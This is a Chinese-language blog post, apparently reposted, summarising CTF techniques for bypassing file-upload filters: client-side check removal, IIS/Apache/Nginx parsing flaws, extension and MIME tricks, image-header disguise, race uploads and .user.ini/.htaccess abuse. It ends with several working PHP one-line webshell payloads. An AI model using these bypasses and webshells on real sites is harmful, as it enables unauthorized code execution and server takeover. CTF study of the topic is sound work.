CTF文件上传绕过姿势

前端过滤

绕过js过滤

绕过方式:

1.在控制台重新定义函数 function checkFile(){} 回车即可(注:需要在未触发该函数前)

2.将一句话木马文件后缀改为.png .jpg .gif后,点击上传。用BurpSuite截断,然后将文件名再替换成.php

后端过滤

利用解析漏洞绕过

IIS解析漏洞

IIS 6.0在解析文件时存在以下两个解析漏洞。
当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。
当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。

Apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。
怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。

Nginx解析漏洞

解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

猜测过滤规则绕过

文件后缀名黑名单:

​ 大小写绕过 Php、PhP···
​ 利用能被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps

MIME类型绕过

​ BurpSuite抓包,更改content-type请求头为image/gif、image/png、image/jpg

图片马内容检测

​ 更换一句话木马形式<% eval request("123")%>等等

文件内容头检测

上述方法均失效时可以考虑一下网站是否检测了文件头
解决方法1:添加图片文件头到木马文件
GIF89a? <% eval request("123")%>
文件头对照参考:https://blog.csdn.net/rrrfff/article/details/7484109
解决方法2:将一张图片与一句话木马文件结合
1.记事本打开图片,在末尾或者之中添加一句话木马 2.使用命令将图片与木马文件结合,链接:https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html(注:麻烦,且命令好像不对)

其他姿势

竞争上传

文件上传后,网站系统会对文件进行恶意代码检测,若是存在恶意代码,则会删除该文件

若在这个操作的时间之内,访问该上传的文件,利用之间的时间差来获取shell

user.ini利用 (**注:上传目录下要有可执行的php文件,一般是自带的,而不是自己上传的,要是可以的话,还需要这么多骚操作干什么**)

大佬的教程链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html`
利用方式的复现地址:`https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

Apache.htaccess

大佬的教程链接:https://www.cnblogs.com/hmbb/p/9689436.html

常用一句话木马(php)

    GIF89a? <script language="php">eval($_REQUEST[shell])</script> 比较好用
    <script language=php>system("ls")</script>
    <?php @preg_replace("/[email]/e",$_POST[‘h‘],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入"h=@eval($_POST[c]);"
    <?php $c=‘ass‘.‘ert‘;${c}($_POST[4]);?>

Attention:

一般要利用文件上传漏洞需要结合上述多种操作才行,需要灵活变通

参考:
https://www.cnblogs.com/20175211lyz/p/10989689.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html

转载:https://www.cnblogs.com/wjrblogs/p/12296038.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1012482327@qq.com

文章标题:CTF文件上传绕过姿势

本文作者:亖 玖

发布时间:2020-04-29, 21:58:56

最后更新:2020-05-26, 18:41:25

原始链接:http://yoursite.com/2020/04/29/CTF%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏